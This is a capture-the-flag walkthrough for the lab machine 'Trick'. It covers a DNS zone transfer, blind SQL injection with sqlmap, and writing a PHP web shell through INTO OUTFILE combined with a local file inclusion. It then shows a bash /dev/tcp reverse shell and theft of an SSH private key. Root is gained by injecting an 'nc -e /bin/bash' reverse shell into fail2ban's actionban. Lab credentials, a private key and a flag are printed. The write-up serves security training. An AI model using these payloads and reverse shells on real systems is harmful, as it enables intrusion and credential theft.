Trick
17 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.166
- Release: 18 / 06 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.166 -p 22,25,53,80
Nmap scan report for 10.10.11.166
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 48.81 seconds
This machine has ports 22 (SSH), 25 (SMTP), 53 (DNS) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.166
, we will see a page like this:
There is nothing useful on this site, the form does not work.
DNS enumeration
Since the machine has a DNS server exposed, we can ask the server to show domains and subdomains using reverse DNS queries. For example:
$ dig -x 10.10.11.166 @10.10.11.166
; <<>> DiG 9.10.6 <<>> -x 10.10.11.166 @10.10.11.166
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26900
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;166.11.10.10.in-addr.arpa. IN PTR
;; ANSWER SECTION:
166.11.10.10.in-addr.arpa. 604800 IN PTR trick.htb.
;; AUTHORITY SECTION:
11.10.10.in-addr.arpa. 604800 IN NS trick.htb.
;; ADDITIONAL SECTION:
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
;; Query time: 38 msec
;; SERVER: 10.10.11.166#53(10.10.11.166)
;; WHEN: Tue Jul 05 11:52:00 CEST 2022
;; MSG SIZE rcvd: 135
So we can add trick.htb
to /etc/hosts
. Unfortunately, the above website is the same as http://trick.htb
. Moreover, ffuf
does not find any subdomain using common wordlists.
Hence, we can try querying the DNS a bit more. For instance, we can perform a Domain Zone Transfer attack:
$ dig trick.htb @10.10.11.166 axfr
; <<>> DiG 9.10.6 <<>> trick.htb @10.10.11.166 axfr
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 50 msec
;; SERVER: 10.10.11.166#53(10.10.11.166)
;; WHEN: Tue Jul 05 12:01:33 CEST 2022
;; XFR size: 6 records (messages 1, bytes 203)
Foothold
So we have preprod-payroll.trick.htb
. Now we can see another website at http://preprod-payroll.trick.htb
:
Exploiting SQLi
At this point, we can try a SQL injection attack, with a common payload:
And we are in as the administrator:
Let’s check the type of SQLi we are exploiting:
$ curl 'preprod-payroll.trick.htb/ajax.php?action=login' -d "username='&password=asdf"
<br />
<b>Notice</b>: Trying to get property 'num_rows' of non-object in <b>/var/www/payroll/admin_class.php</b> on line <b>21</b><br />
3
$ curl 'preprod-payroll.trick.htb/ajax.php?action=login' -d "username='+or+1=1--+-&password=asdf"
1
$ curl 'preprod-payroll.trick.htb/ajax.php?action=login' -d "username='+or+2=1--+-&password=asdf"
3
We are in front of a Boolean-based blind SQLi, because the only information we get is 1
(true) or 3
(false). And if the SQL query is incorrect, we see an error that leaks out a path: /var/www/payroll/admin_class.php
.
Now, we can use sqlmap
with specific parameters to go straight to the point. First of all, let’s enumerate databases:
$ sqlmap --url 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data username=1 -p username --method POST --technique B --skip-waf --batch --level 5 --dbs
___
__H__
___ ___[']_____ ___ ___ {1.6.6#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
[hh:mm:ss] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=i0erqses93k...46t092dbr9'). Do you want to use those [Y/n] Y
[hh:mm:ss] [INFO] checking if the target is protected by some kind of WAF/IPS
[hh:mm:ss] [INFO] testing if the target URL content is stable
[hh:mm:ss] [INFO] target URL content is stable
[hh:mm:ss] [INFO] testing if POST parameter 'username' is dynamic
[hh:mm:ss] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[hh:mm:ss] [INFO] testing for SQL injection on POST parameter 'username'
[hh:mm:ss] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:ss] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[hh:mm:ss] [INFO] POST parameter 'username' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable (with --not-string="21")
[hh:mm:ss] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (1) value? [Y/n] Y
[hh:mm:ss] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 182 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: username=1' AND 3839=(SELECT (CASE WHEN (3839=3839) THEN 3839 ELSE (SELECT 2922 UNION SELECT 7749) END))-- tjdZ
---
[hh:mm:ss] [INFO] testing MySQL
[hh:mm:ss] [INFO] confirming MySQL
[hh:mm:ss] [INFO] the back-end DBMS is MySQL
web application technology: PHP, Nginx 1.14.2
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[hh:mm:ss] [INFO] fetching database names
[hh:mm:ss] [INFO] fetching number of databases
[hh:mm:ss] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[hh:mm:ss] [INFO] retrieved: 2
[hh:mm:ss] [INFO] retrieved: information_schema
[hh:mm:ss] [INFO] retrieved: payroll_db
available databases [2]:
[*] information_schema
[*] payroll_db
...
Alright: information_schema
and payroll_db
. Now we can add the DBMS (MySQL) and the database (payroll_db
). What tables are in this database?
$ sqlmap --url 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data username=1 -p username --method POST --technique B --skip-waf --batch --level 5 --threads 5 --dbms mysql -D payroll_db --tables
___
__H__
___ ___[)]_____ ___ ___ {1.6.6#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
...
[hh:mm:ss] [INFO] fetching tables for database: 'payroll_db'
...
Database: payroll_db
[10 tables]
+---------------------+
| position |
| attendance |
| deductions |
| department |
| employee |
| employee_allowances |
| employee_deductions |
| payroll |
| payroll_items |
| users |
+---------------------+
...
Great, we are interested in the table named users
. Let’s enumerate columns:
$ sqlmap --url 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data username=1 -p username --method POST --technique B --skip-waf --batch --level 5 --threads 5 --dbms mysql -D payroll_db -T users --columns
___
__H__
___ ___[(]_____ ___ ___ {1.6.6#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
...
[hh:mm:ss] [INFO] fetching columns for table 'users' in database 'payroll_db'
...
Database: payroll_db
Table: users
[8 columns]
+-----------+--------------+
| Column | Type |
+-----------+--------------+
| address | text |
| contact | text |
| doctor_id | int(30) |
| id | int(30) |
| name | varchar(200) |
| password | varchar(200) |
| type | tinyint(1) |
| username | varchar(200) |
+-----------+--------------+
...
Nice, let’s dump fields name
, username
and password
:
$ sqlmap --url 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data username=1 -p username --method POST --technique B --skip-waf --batch --level 5 --threads 5 --dbms mysql -D payroll_db -T users -C name,username,password --dump
___
__H__
___ ___[(]_____ ___ ___ {1.6.6#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
...
[hh:mm:ss] [INFO] fetching entries of column(s) 'name,password,username' for table 'users' in database 'payroll_db'
...
Database: payroll_db
Table: users
[1 entry]
+---------------+------------+-----------------------+
| name | username | password |
+---------------+------------+-----------------------+
| Administrator | Enemigosss | SuperGucciRainbowCake |
+---------------+------------+-----------------------+
...
Ok, we have a username and a password, but we can’t do anything with them. This kind of a rabbit hole.
Finding an LFI
If we continue inspecting the website, we notice a curious query parameter called page
, that is being used to render the different pages of the web. It is likely to be vulnerable to Local File Inclusion (LFI) or Directory Path Traversal, because we can add ./
and the web still works:
In order to test for LFI, we can use a PHP wrapper like this one (Base64 encoding):
Let’s decode this string in Base64 with some shell scripting. This is home.php
:
$ curl -s 'preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=home' | grep -A 1 '<main id="view-panel" >'
<main id="view-panel" >
PD9waHAgaW5jbHVkZSAnZGJfY29ubmVjdC5waHAnID8+DQo8c3R5bGU+DQogICANCjwvc3R5bGU+DQoNCjxkaXYgY2xhc3M9ImNvbnRhaW5lLWZsdWlkIj4NCg0KCTxkaXYgY2xhc3M9InJvdyI+DQoJCTxkaXYgY2xhc3M9ImNvbC1sZy0xMiI+DQoJCQkNCgkJPC9kaXY+DQoJPC9kaXY+DQoNCgk8ZGl2IGNsYXNzPSJyb3cgbXQtMyBtbC0zIG1yLTMiPg0KCQkJPGRpdiBjbGFzcz0iY29sLWxnLTEyIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAiV2VsY29tZSBiYWNrICIuICRfU0VTU0lPTlsnbG9naW5fbmFtZSddLiIhIiAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoJPC9kaXY+DQoNCjwvZGl2Pg0KPHNjcmlwdD4NCgkNCjwvc2NyaXB0Pg==
$ curl -s 'preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=home' | grep -A 1 '<main id="view-panel" >' | grep -v main
PD9waHAgaW5jbHVkZSAnZGJfY29ubmVjdC5waHAnID8+DQo8c3R5bGU+DQogICANCjwvc3R5bGU+DQoNCjxkaXYgY2xhc3M9ImNvbnRhaW5lLWZsdWlkIj4NCg0KCTxkaXYgY2xhc3M9InJvdyI+DQoJCTxkaXYgY2xhc3M9ImNvbC1sZy0xMiI+DQoJCQkNCgkJPC9kaXY+DQoJPC9kaXY+DQoNCgk8ZGl2IGNsYXNzPSJyb3cgbXQtMyBtbC0zIG1yLTMiPg0KCQkJPGRpdiBjbGFzcz0iY29sLWxnLTEyIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAiV2VsY29tZSBiYWNrICIuICRfU0VTU0lPTlsnbG9naW5fbmFtZSddLiIhIiAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoJPC9kaXY+DQoNCjwvZGl2Pg0KPHNjcmlwdD4NCgkNCjwvc2NyaXB0Pg==
$ curl -s 'preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=home' | grep -A 1 '<main id="view-panel" >' | grep -v main | base64 -d
<?php include 'db_connect.php' ?>
<style>
</style>
<div class="containe-fluid">
<div class="row">
<div class="col-lg-12">
</div>
</div>
<div class="row mt-3 ml-3 mr-3">
<div class="col-lg-12">
<div class="card">
<div class="card-body">
<?php echo "Welcome back ". $_SESSION['login_name']."!" ?>
</div>
</div>
</div>
</div>
</div>
<script>
</script>
Since it is a PHP file, we must assume that the server appends the .php
extension to the page
parameter. In fact, we can execute home.php
directly:
$ curl preprod-payroll.trick.htb/home.php
<style>
</style>
<div class="containe-fluid">
<div class="row">
<div class="col-lg-12">
</div>
</div>
<div class="row mt-3 ml-3 mr-3">
<div class="col-lg-12">
<div class="card">
<div class="card-body">
Welcome back !
</div>
</div>
</div>
</div>
</div>
<script>
</script>
Now we can wrap the previous command into a shell function to read PHP files easily:
$ function read_file() { curl -s "preprod-payroll.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=$1" | grep -A 1 '<main id="view-panel" >' | grep -v main | base64 -d; }
Let’s read db_connect.php
, which is included in home.php
:
$ read_file db_connect
<?php
$conn= new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db')or die("Could not connect to mysql".mysqli_error($con));
We have a password, we can try accessing as remo
using this password in SSH, but it does not work.
Obtaining RCE
Since we have LFI, we can turn it to Remote Code Execution (RCE) if we have a way to enter PHP files in the server. Actually, this can be done using SQLi if we have enough privileges. Let’s check it:
$ sqlmap --url 'http://preprod-payroll.trick.htb/ajax.php?action=login' --data username=1 -p username --method POST --technique B --skip-waf --batch --level 5 --threads 5 --dbms mysql --privileges
___
__H__
___ ___["]_____ ___ ___ {1.6.6#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting
...
[hh:mm:ss] [INFO] fetching entries of column(s) 'name,password,username' for table 'users' in database 'payroll_db'
[hh:mm:ss] [INFO] fetching database users privileges
[hh:mm:ss] [INFO] fetching database users
[hh:mm:ss] [INFO] fetching number of database users
[hh:mm:ss] [INFO] resumed: 1
[hh:mm:ss] [INFO] retrieving the length of query output
[hh:mm:ss] [INFO] retrieved: 18
[hh:mm:ss] [INFO] retrieved: 'remo'@'localhost'
[hh:mm:ss] [INFO] fetching number of privileges for user 'remo'
[hh:mm:ss] [INFO] resumed: 1
[hh:mm:ss] [INFO] fetching privileges for user 'remo'
[hh:mm:ss] [INFO] retrieving the length of query output
[hh:mm:ss] [INFO] retrieved: 4
[hh:mm:ss] [INFO] retrieved: FILE
database management system users privileges:
[*] %remo% [1]:
privilege: FILE
...
So we have privilege FILE
, and then we can read and write files to the server if we have privileges at the corresponding directory.
In order to write a file, let’s use UNION
queries. We already know that the current table has 8 columns, so let’s go straight to the point:
$ curl 'preprod-payroll.trick.htb/ajax.php?action=login' -d "username='+union+select+'<?php+system(\$_GET[\"cmd\"]);+?>',2,3,4,5,6,7,8+into+outfile+'/tmp/rev.php'--+-&password=asdf"
<br />
<b>Notice</b>: Trying to get property 'num_rows' of non-object in <b>/var/www/payroll/admin_class.php</b> on line <b>21</b><br />
3
Since the file is stored in /tmp
, we have enough privileges to store files. Now let’s retrieve the file using the LFI (/tmp/rev.php
without the .php
extension):
It shows the file, so now we have RCE:
Let’s access the machine using a reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl -s "preprod-payroll.trick.htb/index.php?page=../../../../tmp/rev&cmd=echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash"
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.166.
Ncat: Connection from 10.10.11.166:42706.
bash: cannot set terminal process group (790): Inappropriate ioctl for device
bash: no job control in this shell
www-data@trick:~/payroll$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@trick:~/payroll$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@trick:~/payroll$ export TERM=xterm
www-data@trick:~/payroll$ export SHELL=bash
www-data@trick:~/payroll$ stty rows 50 columns 158
Lateral movement to user michael
Inside the machine, we can see that there is another webpage in /var/www/market
:
www-data@trick:~/payroll$ cd /var/www
www-data@trick:~$ ls -la
total 20
drwxr-xr-x 5 michael michael 4096 May 25 13:28 .
drwxr-xr-x 12 root root 4096 May 25 13:28 ..
drwxr-xr-x 5 michael michael 4096 May 25 13:28 html
drwxr-xr-x 6 michael michael 4096 May 25 13:28 market
drwxr-xr-x 4 michael michael 4096 May 25 13:28 payroll
We can read the nginx configuration in order to get the corresponding virtual host:
www-data@trick:~$ ls /etc/nginx/sites-enabled/
default
www-data@trick:~$ cat /etc/nginx/sites-enabled/default | grep trick.htb
server_name trick.htb;
server_name preprod-marketing.trick.htb;
server_name preprod-payroll.trick.htb;
Alright, so after setting preprod-marketing.trick.htb
into /etc/hosts
, we have this webpage:
Finding another LFI
Again, there is a curious parameter called page
that is shouting to be vulnerable to LFI or Directory Path Traversal:
Since we have access to the machine, we can read the source code for this site and find the following:
www-data@trick:~$ cd /var/www/market
www-data@trick:~/market$ ls -la
total 76
drwxr-xr-x 6 michael michael 4096 May 25 13:28 .
drwxr-xr-x 5 michael michael 4096 May 25 13:28 ..
-rw-r--r-- 1 michael michael 13272 Apr 16 10:15 about.html
-rw-r--r-- 1 michael michael 7677 Apr 16 10:15 contact.html
drwxr-xr-x 2 michael michael 4096 May 25 13:28 css
drwxr-xr-x 4 michael michael 4096 May 25 13:28 fontawesome
-rw-r--r-- 1 michael michael 9660 Apr 16 10:14 home.html
drwxr-xr-x 2 michael michael 4096 May 25 13:28 img
-rw-r--r-- 1 michael michael 194 Apr 16 10:13 index.php
drwxr-xr-x 2 michael michael 4096 May 25 13:28 js
-rw-r--r-- 1 michael michael 10757 Apr 16 10:14 services.html
www-data@trick:~/market$ cat index.php
<?php
$file = $_GET['page'];
if (!isset($file) || ($file == 'index.php')) {
include('/var/www/market/home.html');
} else{
include('/var/www/market/' . str_replace('../', '', $file));
}
It is including files and applying a sanitization. However, this filtering can be bypassed, because string replacements are not recursive and we can enter "....//"
, and it will be transformed to "../"
, leading to Directory Path Traversal and another Local File Inclusion.
Let’s access to the /tmp/rev.php
again and see if we have changed user:
$ curl 'preprod-marketing.trick.htb/index.php?page=....//....//....//....//tmp/rev.php&cmd=whoami'
michael
2 3 4 5 6 7 8
There it is, we are michael
. Hence, we can read its private SSH key:
www-data@trick:~/market$ ls -la /home/michael
total 84
drwxr-xr-x 15 michael michael 4096 Jul 14 22:12 .
drwxr-xr-x 3 root root 4096 May 25 13:28 ..
-rw------- 1 michael michael 1256 May 25 13:09 .ICEauthority
lrwxrwxrwx 1 root root 9 Apr 22 09:47 .bash_history -> /dev/null
-rw-r--r-- 1 michael michael 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 michael michael 3526 Apr 18 2019 .bashrc
drwx------ 9 michael michael 4096 May 11 21:09 .cache
drwx------ 10 michael michael 4096 May 11 21:08 .config
drwx------ 3 michael michael 4096 May 11 21:08 .gnupg
drwx------ 3 michael michael 4096 May 11 21:07 .local
-rw-r--r-- 1 michael michael 807 Apr 18 2019 .profile
drwx------ 2 michael michael 4096 May 24 17:25 .ssh
-rw------- 1 michael michael 2492 Jul 14 22:12 .viminfo
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Desktop
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Documents
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Downloads
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Music
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Pictures
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Public
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Templates
drwxr-xr-x 2 michael michael 4096 May 11 21:07 Videos
-rw-r----- 1 root michael 33 Jul 14 21:39 user.txt
$ curl 'preprod-marketing.trick.htb/index.php?page=....//....//....//....//home/michael/.ssh/id_rsa' | tee id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
And now we can connect to the machine as michael
:
$ chmod 600 id_rsa
$ ssh -i id_rsa michael@10.10.11.166
michael@trick:~$ cat user.txt
f18c1dcd02ec3adadbd54c9c8c4d94be
Privilege escalation
This user is able to run /etc/init.d/fail2ban restart
as root
without password using sudo
:
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
After searching for ways to escalate privileges using fail2ban
, we reach to this blog post.
Notice that we have an additional group, and this group owns the directory /etc/fail2ban/action.d
:
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
michael@trick:~$ find / -group security 2>/dev/null
/etc/fail2ban/action.d
michael@trick:~$ ls -l /etc/fail2ban
total 60
drwxrwx--- 2 root security 4096 Jul 6 04:21 action.d
-rw-r--r-- 1 root root 2334 Jul 6 04:21 fail2ban.conf
drwxr-xr-x 2 root root 4096 Jul 6 04:21 fail2ban.d
drwxr-xr-x 3 root root 4096 Jul 6 04:21 filter.d
-rw-r--r-- 1 root root 22908 Jul 6 04:21 jail.conf
drwxr-xr-x 2 root root 4096 Jul 6 04:21 jail.d
-rw-r--r-- 1 root root 645 Jul 6 04:21 paths-arch.conf
-rw-r--r-- 1 root root 2827 Jul 6 04:21 paths-common.conf
-rw-r--r-- 1 root root 573 Jul 6 04:21 paths-debian.conf
-rw-r--r-- 1 root root 738 Jul 6 04:21 paths-opensuse.conf
The blog post says that one way to run commands is entering an actionban
with a malicious command in iptables-multiport.conf
. If we try to modify the file, we are not allowed:
michael@trick:~$ ls -l /etc/fail2ban/action.d/iptables-multiport.conf
-rw-r--r-- 1 root root 1420 Jul 6 04:00 /etc/fail2ban/action.d/iptables-multiport.conf
michael@trick:~$ echo 'actionban = nc -e /bin/bash 10.10.17.44 4444' >> /etc/fail2ban/action.d/iptables-multiport.conf
-bash: /etc/fail2ban/action.d/iptables-multiport.conf: Permission denied
However, since we belong to security
and this group owns the directory, we are able to create and remove files. Then, let’s create a copy of the needed file, remove it and create it again with the malicious content (for instance, a reverse shell command):
michael@trick:~$ cp /etc/fail2ban/action.d/iptables-multiport.conf /tmp/x
michael@trick:~$ vim /tmp/x
michael@trick:~$ rm /etc/fail2ban/action.d/iptables-multiport.conf
rm: remove write-protected regular file '/etc/fail2ban/action.d/iptables-multiport.conf'? y
michael@trick:~$ cp /tmp/x /etc/fail2ban/action.d/iptables-multiport.conf
michael@trick:~$ grep -v '^#' /etc/fail2ban/action.d/iptables-multiport.conf | grep .
[INCLUDES]
before = iptables-common.conf
[Definition]
actionstart = <iptables> -N f2b-<name>
<iptables> -A f2b-<name> -j <returntype>
<iptables> -I <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
actionstop = <iptables> -D <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
<actionflush>
<iptables> -X f2b-<name>
actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'
actionban = /usr/bin/nc -e /bin/bash 10.10.17.44 4444
actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>
[Init]
Now we restart the service using sudo
:
michael@trick:~$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.
And when the server bans our IP address, we will get a reverse shell. For that, we need to enter bad passwords in SSH:
$ ssh michael@10.10.11.166
michael@10.10.11.166's password:
Permission denied, please try again.
michael@10.10.11.166's password:
Permission denied, please try again.
michael@10.10.11.166's password:
michael@10.10.11.166: Permission denied (publickey,password).
We get a connection back:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.166.
Ncat: Connection from 10.10.11.166:51548.
script /dev/null -c bash
Script started, file is /dev/null
root@trick:/# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[2] - continued ncat -nlvp 4444
reset xterm
root@trick:/# export TERM=xterm
root@trick:/# export SHELL=bash
